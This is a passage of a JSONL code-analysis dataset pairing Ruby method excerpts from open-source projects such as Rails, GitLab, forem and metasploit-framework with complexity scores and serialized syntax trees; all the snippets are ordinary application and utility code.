end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"prawn_table_cell_inline_font_styles\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"arg\",\"children\":[\"styles\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"styles\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"bold\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<b>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"</b>\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"styles\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"italic\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<i>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"</i>\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"styles\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"underline\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<u>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"</u>\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"styles\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"strikethrough\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<strikethrough>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"</strikethrough>\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"styles\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"sub\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<sub>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"</sub>\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"styles\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"sup\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<sup>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"</sup>\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"1e424a30-a0b8-42c8-b606-01050ac8b677"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/billboards_controller.rb","start_line":65,"raw_source":"def billboard_params\n      params.permit(:organization_id, :body_markdown, :placement_area, :target_geolocations,\n                    :published, :approved, :name, :display_to, :tag_list, :type_of, :color,\n                    :exclude_article_ids, :audience_segment_id, :priority, :browser_context,\n                    :exclude_role_names, :target_role_names, :include_subforem_ids,\n                    :render_mode, :template, :custom_display_label, :requires_cookies, :expires_at)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"billboard_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"sym\",\"children\":[\"body_markdown\"]},{\"type\":\"sym\",\"children\":[\"placement_area\"]},{\"type\":\"sym\",\"children\":[\"target_geolocations\"]},{\"type\":\"sym\",\"children\":[\"published\"]},{\"type\":\"sym\",\"children\":[\"approved\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"display_to\"]},{\"type\":\"sym\",\"children\":[\"tag_list\"]},{\"type\":\"sym\",\"children\":[\"type_of\"]},{\"type\":\"sym\",\"children\":[\"color\"]},{\"type\":\"sym\",\"children\":[\"exclude_article_ids\"]},{\"type\":\"sym\",\"children\":[\"audience_segment_id\"]},{\"type\":\"sym\",\"children\":[\"priority\"]},{\"type\":\"sym\",\"children\":[\"browser_context\"]},{\"type\":\"sym\",\"children\":[\"exclude_role_names\"]},{\"type\":\"sym\",\"children\":[\"target_role_names\"]},{\"type\":\"sym\",\"children\":[\"include_subforem_ids\"]},{\"type\":\"sym\",\"children\":[\"render_mode\"]},{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"sym\",\"children\":[\"custom_display_label\"]},{\"type\":\"sym\",\"children\":[\"requires_cookies\"]},{\"type\":\"sym\",\"children\":[\"expires_at\"]}]}]}","id":"4a72fd43-3783-4954-a3e3-6072b116793d"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/cert/lib/cert/runner.rb","start_line":151,"raw_source":"def certificate_type\n      return certificate_types.first\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"certificate_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"certificate_types\"]},\"first\"]}]}]}","id":"9b25ab4c-14c1-4265-9909-113b1fa15b4e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/schema_creation.rb","start_line":50,"raw_source":"def visit_UniqueConstraintDefinition(o)\n            column_name = Array(o.column).map { |column| quote_column_name(column) }.join(\", \")\n\n            sql = [\"CONSTRAINT\"]\n            sql << quote_column_name(o.name)\n            sql << \"UNIQUE\"\n            sql << \"NULLS NOT DISTINCT\" if supports_nulls_not_distinct? && o.nulls_not_distinct\n\n            if o.using_index\n              sql << \"USING INDEX #{quote_column_name(o.using_index)}\"\n            else\n              sql << \"(#{column_name})\"\n            end\n\n            if o.deferrable\n              sql << \"DEFERRABLE INITIALLY #{o.deferrable.to_s.upcase}\"\n            end\n\n            sql.join(\" \")\n          end","complexity_score":35.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_UniqueConstraintDefinition\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"column_name\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"column\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"send\",\"children\":[null,\"quote_column_name\",{\"type\":\"lvar\",\"children\":[\"column\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CONSTRAINT\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"quote_column_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"str\",\"children\":[\"UNIQUE\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_nulls_not_distinct?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"nulls_not_distinct\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"str\",\"children\":[\"NULLS NOT DISTINCT\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"using_index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"USING INDEX \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote_column_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"using_index\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_name\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"deferrable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DEFERRABLE INITIALLY \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"deferrable\"]},\"to_s\"]},\"upcase\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}","id":"d4b45428-856f-4767-87d3-4044b6546376"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/doctor/reset_tokens.rb","start_line":30,"raw_source":"def fix_model(model)\n        matched_token_names = @token_names & model.encrypted_token_authenticatable_fields.map(&:to_s)\n\n        return if matched_token_names.empty?\n\n        total_count = model.count\n\n        model.find_each.with_index do |instance, index|\n          matched_token_names.each do |attribute_name|\n            fix_attribute(instance, attribute_name)\n          end\n\n          instance.save! if !@dry_run && Gitlab::Database.read_write?\n\n          logger.info \"Checked #{index + 1}/#{total_count} #{model.name.pluralize}\" if index % PRINT_PROGRESS_EVERY == 0\n        rescue StandardError => e\n          logger.debug \"Something went wrong for #{instance.class.name}[#{instance.id}]: #{e}\"\n        end\n        logger.info \"Checked #{total_count} #{model.name.pluralize}\"\n      end","complexity_score":50.65,"ast_json":"{\"type\":\"def\",\"children\":[\"fix_model\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"matched_token_names\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@token_names\"]},\"&\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"encrypted_token_authenticatable_fields\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matched_token_names\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"total_count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"count\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"find_each\"]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"instance\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matched_token_names\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute_name\"]}]},{\"type\":\"send\",\"children\":[null,\"fix_attribute\",{\"type\":\"lvar\",\"children\":[\"instance\"]},{\"type\":\"lvar\",\"children\":[\"attribute_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dry_run\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"read_write?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"save!\"]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"%\",{\"type\":\"const\",\"children\":[null,\"PRINT_PROGRESS_EVERY\"]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Checked \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"total_count\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"name\"]},\"pluralize\"]}]}]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Something went wrong for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"]: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Checked \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"total_count\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"name\"]},\"pluralize\"]}]}]}]}]}]}","id":"f6af62ea-563e-4b92-b0de-158ebd3f6494"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/backup/options.rb","start_line":191,"raw_source":"def extract_from_env!\n      # We've used lowercase `force` as the key while ENV normally is defined using UPPERCASE letters\n      # This provides a fallback when the user defines using expected standards, while not breaking compatibility\n      force_value = ENV.key?('FORCE') ? ENV['FORCE'] : ENV['force']\n\n      self.backup_id = ENV['BACKUP']\n      self.previous_backup = ENV['PREVIOUS_BACKUP']\n      self.incremental = Gitlab::Utils.to_boolean(ENV['INCREMENTAL'], default: incremental)\n      self.force = Gitlab::Utils.to_boolean(force_value, default: force)\n      self.strategy = Strategy::COPY if ENV['STRATEGY'] == 'copy'\n      self.max_parallelism = ENV['GITLAB_BACKUP_MAX_CONCURRENCY']&.to_i\n      self.max_storage_parallelism = ENV['GITLAB_BACKUP_MAX_STORAGE_CONCURRENCY']&.to_i\n      self.remote_directory = ENV['DIRECTORY']\n      self.repositories_server_side_backup = Gitlab::Utils.to_boolean(ENV['REPOSITORIES_SERVER_SIDE'],\n        default: repositories_server_side_backup)\n      self.repositories_storages = ENV.fetch('REPOSITORIES_STORAGES', '').split(',').uniq\n      self.repositories_paths = ENV.fetch('REPOSITORIES_PATHS', '').split(',').uniq\n      self.skip_repositories_paths = ENV.fetch('SKIP_REPOSITORIES_PATHS', '').split(',').uniq\n      compression_options.compression_cmd = ENV['COMPRESS_CMD']\n      compression_options.decompression_cmd = ENV['DECOMPRESS_CMD']\n      self.gzip_rsyncable = Gitlab::Utils.to_boolean(ENV['GZIP_RSYNCABLE'], default: gzip_rsyncable)\n\n      extract_skippables!(ENV['SKIP']) if ENV['SKIP'].present?\n    end","complexity_score":63.9,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_from_env!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"force_value\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"key?\",{\"type\":\"str\",\"children\":[\"FORCE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FORCE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"force\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"backup_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BACKUP\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"previous_backup=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PREVIOUS_BACKUP\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"incremental=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"to_boolean\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"INCREMENTAL\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"send\",\"children\":[null,\"incremental\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"force=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"to_boolean\",{\"type\":\"lvar\",\"children\":[\"force_value\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"send\",\"children\":[null,\"force\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STRATEGY\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"copy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"strategy=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Strategy\"]},\"COPY\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"max_parallelism=\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GITLAB_BACKUP_MAX_CONCURRENCY\"]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"max_storage_parallelism=\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GITLAB_BACKUP_MAX_STORAGE_CONCURRENCY\"]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"remote_directory=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DIRECTORY\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"repositories_server_side_backup=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"to_boolean\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"REPOSITORIES_SERVER_SIDE\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"send\",\"children\":[null,\"repositories_server_side_backup\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"repositories_storages=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"REPOSITORIES_STORAGES\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"uniq\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"repositories_paths=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"REPOSITORIES_PATHS\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"uniq\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"skip_repositories_paths=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"SKIP_REPOSITORIES_PATHS\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"uniq\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compression_options\"]},\"compression_cmd=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"COMPRESS_CMD\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compression_options\"]},\"decompression_cmd=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DECOMPRESS_CMD\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"gzip_rsyncable=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"to_boolean\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GZIP_RSYNCABLE\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"send\",\"children\":[null,\"gzip_rsyncable\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SKIP\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"extract_skippables!\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SKIP\"]}]}]},null]}]}]}","id":"2234e9d1-a84b-434f-8e85-f51968e6dec2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/logging/sinks/stdout_without_timestamps.rb","start_line":27,"raw_source":"def log(sev, src, level, msg) # :nodoc:\n    if sev == LOG_RAW\n      stream.write(msg)\n    else\n      stream.write(\"[#{log_code_for(sev)}(#{level})] #{src}: #{msg}\\n\")\n    end\n\n    stream.flush\n  end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"log\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sev\"]},{\"type\":\"arg\",\"children\":[\"src\"]},{\"type\":\"arg\",\"children\":[\"level\"]},{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sev\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"LOG_RAW\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stream\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stream\"]},\"write\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_code_for\",{\"type\":\"lvar\",\"children\":[\"sev\"]}]}]},{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"level\"]}]},{\"type\":\"str\",\"children\":[\")] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stream\"]},\"flush\"]}]}]}","id":"3454ce95-69b7-48a1-92de-e552c2e55d3b"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/users/sessions_controller.rb","start_line":20,"raw_source":"def invitation_token\n    @invitation_token ||= params[:invitation_token] || session[:invitation_token]\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"invitation_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@invitation_token\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"invitation_token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"invitation_token\"]}]}]}]}]}","id":"595fa823-3372-4168-a740-29173dad4383"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/counters/buffered_counter.rb","start_line":148,"raw_source":"def commit_increment!\n        with_exclusive_lease do\n          flush_amount = amount_to_be_flushed\n          next if flush_amount == 0\n\n          # We need the transaction so we can rollback the counter update if `remove_flushed_key` fails.\n          counter_record.transaction do\n            counter_record.update_counters({ attribute => flush_amount })\n            remove_flushed_key\n          end\n\n          counter_record.execute_after_commit_callbacks\n        end\n\n        counter_record.reset.read_attribute(attribute)\n      end","complexity_score":24.0,"ast_json":"{\"type\":\"def\",\"children\":[\"commit_increment!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_exclusive_lease\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"flush_amount\",{\"type\":\"send\",\"children\":[null,\"amount_to_be_flushed\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flush_amount\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"counter_record\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"counter_record\"]},\"update_counters\",{